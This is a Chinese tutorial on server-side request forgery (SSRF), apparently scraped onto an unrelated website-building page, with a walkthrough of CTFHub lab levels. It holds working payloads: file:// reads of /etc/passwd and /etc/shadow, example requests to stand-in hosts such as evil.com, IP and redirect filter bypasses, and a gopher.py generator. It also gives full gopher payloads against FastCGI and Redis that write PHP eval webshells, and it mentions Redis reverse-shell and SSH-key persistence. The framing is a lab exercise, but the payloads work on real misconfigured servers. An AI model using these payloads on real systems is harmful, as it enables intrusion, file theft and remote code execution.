沧州建设银行招聘网站个人网站网页底部模板
2026/5/14 0:10:38 网站建设 项目流程
沧州建设银行招聘网站,个人网站网页底部模板,强化网站建设,企业网站建设的核心漏洞描述 SSRF#xff08;Server-side Request Forgery#xff09;#xff0c;服务端请求伪造。是一种由攻击者构造请求#xff0c;由服务端发起请求的安全漏洞#xff0c;一般情况况下SSRF攻击的目标是从外网无法访问到的内部系统 #xff08;正因为它是由服务端发起的Server-side Request Forgery服务端请求伪造。是一种由攻击者构造请求由服务端发起请求的安全漏洞一般情况况下SSRF攻击的目标是从外网无法访问到的内部系统 正因为它是由服务端发起的所以它能够请求到与自身相连而与外网隔离的内部系统。漏洞原理SSRF形成的原因大都是由于服务端提供了从 其他服务器 应用 获取数据 的功能且没有对服务器目标地址做过滤与限制用户对目标地址可控。内网应用服务器地址利用各种协议去读取本地文件漏洞分类显示对攻击者的响应Basic它显示对攻击者的响应因此在服务器获取攻击者要求请求的URL后他将会把响应发送回攻击者。返回结果到客户端。会返回这个网址的界面或对应的HTML代码。不显示响应Blind和上面正好相反 不会返回结果到客户端 。当您从未从初次请求中获取有关目标服务的任何信息时就会发生这种ssrf。通常攻击者将提供url但是该url中的数据将永远不会返回给攻击者。要在这种情况下确认漏洞攻击者必须使用BurpDNSLOG等类似工具。这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证但难以利用漏洞函数SSRF 漏 洞 可 能 会 产 生 在 任 何 语 言 编 写 的 应 用 中 这 里 介 绍 PHP 中 可 能 会 存 在 SSRF 漏 洞 的 函 数 file_get_contents()、fsockopen()、curl_exec()file_get_contents()将整个文件或一个URL指向的文件以字符串的性质展示给用户curl_exec() 对远程的URL发起请求访问并将请求的结果返回至前端页面fsockopen() 使用该函数实现获取用户制定url的数据文件或者html;该函数会使用socket跟服务器建立TCP连接进行传输原始数据攻击方式主要攻击方式如下所示 1. 对外网服务器所在的内网/本机进行主机扫描、端口扫描、服务探测。 2. 攻击运行在内网或本地的应用程序。 3. 攻击内外网的web应用主要是使用 get 参数就可以实现的攻击比如struts2sqli、thinkphp等; 4. 利用File协议读取服务器文件。 5. 各个协议调用探针 http,file,dict,ftp,gopher 等漏洞探测有回显类型输入指定地址如果将指定URL内容获取到了那么也存在SSRF无回显类型输入dnslog地址如果dnslog地址有解析记录及代码存在SSRF1. 服务端会去其他服务器获取资源2. 我们对获取资源的服务器地址是可控的1. 服务器提供了从其他服务器获取数据的功能2. 其他服务器的地址是我们可控的3. 没有过滤协议http:// -- 通过http协议访问内网主机web服务或发送Get数据包 file:// -- 本地文件传输协议主要用于访问本地计算机中的文件 dict:// -- 字典服务器协议dict是基于查询相应的TCP协议 gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议出现在http协议之前 sftp:// -- 安全文件传输协议 tftp:// -- 基于lockstep机制的文件传输协议允许客户端从远程主机获取文件或将文件上传至远程主机 ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议http协议能进行内网端口探测-可通过返回的时间和长度判断端口是否开放/与Web站点访问。file协议伪协议、读取敏感的文件信息、 linux的网站目录 /var/www/html/ /var/logs/httpd/access.log error.log /var/logs/Nginx/access.log error.log file:///var/logs/httpd/access.log file:///etc/passwd windows系统基本配置信息file:///c:/windows/win.ini Linux用户基本配置信息file:///etc/shadow Linux用户密码等敏感信息一般需要root用户才能查看 web服务用户一般没有权限查看 file:///etc/hosts 查看内网地址段dict协议内网服务探测DICT伪协议dict协议是一个字典服务器协议通常用于让客户端使用过程中能够访问更多的字典源但是在SSRF中如果可以使用dict协议那么就可以获取目标服务器端口上运行的服务版本等信息。通过响应时间来判断端口是否开放Gopher协议Gopher协议 是比HTTP协议更早出现的协议现在已经不常使用了但是在SSRF漏洞中可以利用gopher协议发送各种格式的请求包这样便可以解决漏洞点不在GET参数的问题。所有WEB服务器都支持gopher协议。# Gopher协议格式gopher://:/_TCP数据流注意由于Gopher协议的特殊格式在SSRF利用Gopher攻击目标时需要对数据包进行两次URL编码。1. 第一次URL将URL中的特殊字符进行转义以便于传输和解析。2. 第二次编码是为了让Gopher协议能够正常解析因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符才能被Gopher协议正确解析。SSRF⽀持的协议# ftp ssrf.php?urlftp://evil.com:12345/TEST # file:// ssrf.php?urlfile:///etc/password # Dict:// dict://user-authhost:port/d:wordssrf.php?urldict://attacker:11111/ # SFTP:// ssrf.php?urlsftp://example.com:11111/ # TFTP:// ssrf.phpurltftp://example.com:12346/TESTUDPPACKET # LDAP:// ssrf.php?urlldap://localhost:11211/%0astats%0aquit # Gopher:// ssrf.php?urlgopher://127.0.0.1:3306FastCGI当客户端请求的是index.php根据配置文件Web Server辨别不是静态文件此时中间件就会将请求转发给PHP解析器来处理。客户段请求静态网站 ---- 中间件直接处理返回客户段请求脚本文件php jsp — 中间件判断用户请求的文件类型 — 通过fastcgi 将请求文件提交给php-fpm解析器进行处理 —》 调用数据库数据 -- 返回数据到中间件 -- 客户端攻击内⽹Redisredis低版本默认存在漏洞 未授权访问 也不需要权限校验即可进入到redis执行redis命令 。redis命令中有几条命令可以写入文件到服务器中redis未授权访问getshell的方式1.写⼊计划任务反弹shell2.写⼊webshell到对⽅⽹站⽬录3.写⼊SSH公钥进⾏免密连接SSRF漏洞绕过常见限制# 限制为http://www.xxx.com域名采用http基本身份认证的方式绕过。即http://www.xxx.comwww.xxc.com#限制请求IP不为内网地址⭐当不允许ip为内网地址时1采取短网址绕过2采取特殊域名3采取进制转换# 限制请求只为HTTP协议1采取302跳转2采取短地址绕过方式1.# “”http://abc127.0.0.1实际上是以用户名abc连接到站点127.0.0.1同理http://8.8.8.8127.0.0.1:8080、http://127.0.0.1#8.8.8.8在对解析域名中不同的处理函数存在处理差异如http://www.aaa.comwww.bbb.comwww.ccc.com在PHP的parse_url中会识别www.ccc.com而libcurl则识别为www.bbb.com2.# “[::]”可以利用[::]来绕过localhosthttp://[::]:80/ http://127.0.0.13.# 添加端口号http://127.0.0.1:80804.# 利用短网址站长工具短网址/百度短网址https://urlc.net/cn/5.# 利用特殊域名原理是DNS解析。xip.io可以指向任意域名即127.0.0.1.xip.io可解析为127.0.0.16.# 利用DNS解析在域名上设置A记录指向127.0.0.17.# 利用进制转换八进制0177.0.0.1十六进制0x7f.0.0.1十进制21307064338.# 句号127。0。0。1 127.0.0.19.# 利用30X重定向使用https://tinyurl.com生成302跳转地址https://urlc.net/cn/10.# URL十六进制编码URL十六进制编码可被浏览器正常识别编码脚本十六进制0x7f.0.0.111.利用30X重定向可以使用重定向来让服务器访问目标地址可用于重定向的HTTP状态码300、301、302、303、305、307、308。需要一个vps把302转换的代码部署到vps上然后去访问就可跳转到内网中ctfhub实战网址https://www.ctfhub.com第一关内网访问题目看到提示我们可以知道falg应该位于他呢台机器的根目录下开启环境进入之后发现页面空白在url中有个url的参数我们直接使用http协议让他去访问127.0.0.1/flag.php拿到flag成功过关第二关伪协议读取文件题目开启环境可以看到跟第一关一样的页面看提示让我们去尝试读取一下web目录下的flag读取文件这个时候就应该用file协议这个时候我们还看到在web目录下呢linux默认的web路径为/vat/www/html语句:file:///var/www/html/flag.php然后发现之读到了三个不要慌这个时候我们查看页面源码就可以看到flag了成功过关第三关端口扫描题目我们可以看到第三关需要我们探测端口8000-9000这个时候就应该用dict协议加上burp爆破模块来进行探测跟第一关同样的页面输入语句后抓包然后发送到爆破模块开始爆破然后我们可以看到端口为8880然后我们利用http协议去请求127.0.0.1:8880成功获取flag第四关POST请求题目我们可以看到和前面同样的页面我们尝试使用httpfile等协议看看有什么相应经过尝试我们发现使用http协议读取127.0.0.1/flag.php时页面会出现一个输入框还有使用file协议读取/var/www/html/flag.php时也会出现一个输入框我们先来看http协议读取到的输入框我们查看一下源码看看可以看到这个页面提交的key会以post的形式给./flag.php页面然后我们再去看一下file协议读取到网站下的输入框查看页面源码页面源码的大致意思为这个时候我们在返回http协议的页面输入key回车出现个这个东西加上刚才的源码可以判断不能请求127.0.0.1这个地址将这个数据包抓下来然后使用gopher.py脚本来生成协议gopher.py脚本如下# -*- coding: utf-8 -*importurllib.parse payload\ //这里输入抓到的数据包 tmpurllib.parse.quote(payload)newtmp.replace(%0A,%0D%0A)resultgopher://127.0.0.1:80/_new resulturllib.parse.quote(result)print(result)开启抓包输入key回车将抓到的数据包全部复制下来粘贴到脚本中然后在cmd中运行脚本然后将生成的东西粘贴到url参数上进行访问即可成功得到flag第五关上传文件题目只提示了需要上传文件到flag.php进去看看一样的页面先试用filehttp看看首先看file协议的源码代码的大致意思如下呢么看来我们还需要使用gopher协议http的源码还是一样的简单就不说了呢么我们上传一个文件使用gopher脚本转换然后再在url中进行访问首先随便上传一个文件选完文件之后发现没有上传的按钮没关系我们直接f12去源码中编辑html元素添加一个按钮即可然后点击提交顺便抓个包直接提交果然不行我们将抓到的数据包复制下来然后利用gopher脚本进行转换然后在cmd中使用python执行这个脚本然后将东西复制出来作为参数url的值进行传输访问成功得到flag第六关FastCGI协议题目如果大家不太了解fastcgi的话可以先去网上找两篇文章来了解一下针对fastcgi这里的话是有工具的在这就直接使用工具来完成了工具地址https://pan.baidu.com/s/1CSiHWysbN9Z0y1y0UArBsA?pwd5m45使用工具的前提1.需要知道网站一个存在的php文件2.工具需要使用python2的环境首页依旧是这样的我们需要找到一个php页面首先试试index.php会跳转到首页说明他是存在的然后我们就可以开始利用工具进行攻击了使用python2的环境运行然后输入一个网站已经存在的php文件然后输入想要执行的命令这里的话我们使用命令写入个一句话木马首先写个一句话木马使用base64编码一下然后使用echo命令将他重定向到一个文件中echo PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4 | base64 -d /var/www/html/shell.phpgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH131%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%83%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%3D%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00然后我们将生成的东西复制出来进行二次url编码注意在编码的时候后面不要留有空格否则就会失败gopher%3a%2f%2f127.0.0.1%3a9000%2f_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520%2fvar%2fwww%2fhtml%2fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500然后将二次编码的东西作为url的参数传入然后访问即可看到这个页面说明命令成功执行然后我们去访问一下我们写入的webshell成功写入使用蚁剑去连接成功连接记得选base64然后我们去根目录下即可找到flag成功得到flag第七关Redis协议题目还用第六关的工具就可以他也可以对redis进行攻击首页首先使用python2运行该工具然后选择phpshell即可然后需要提供服务器web网站的根位置这里就是默认的所以直接回车就好然后这里我们输入攻击载荷也就是一句话木马然后就给我们生成了如下的东西我们将这东西复制进行url编码然后再作为url参数的值进行提交即可gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0Agopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A编码完成之后然后去对页面进行攻击看到一直转圈说明写入成功然后我们去访问看看成功写入使用工具连接然后在根目录下找到flag即可拿到flag第八关URL Bypass题目看到提示其实已经很简单了吧必须包含一个域名所以要绕过呢么直接就可以想到用符号进行绕过首页然后直接绕就行拿到flag直接秒了第九关数字IP Bypass题目看到提示不能使用点分十进制但是又需要访问127.0.0.1呢直接编码不就可以了嘛首页我们先来看一下扳掉了直接编码127.0.0.1的十六进制编码为0x7f000001成功得到flag直接拿下第十关302跳转 Bypass题目根据提示我们先来试试http可以看到不能访问127.0.0.1但是题目提示302跳转呢我们就可以想到localhost会跳转为127.0.0.1我们将127.0.0.1换位localhost即可拿到flag十一关DNS重绑定 Bypass题目开启题目后我们可以看到这个题目是有个附件的如果不是很清楚DNS重绑的话可以去附件先看看了解一下首页一样的白页面先看看http然后我们去网站生成一个网站地址https://lock.cmpxchg8b.com/rebinder.html复制然后粘贴在127.0.0.1的位置即可拿到flag网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询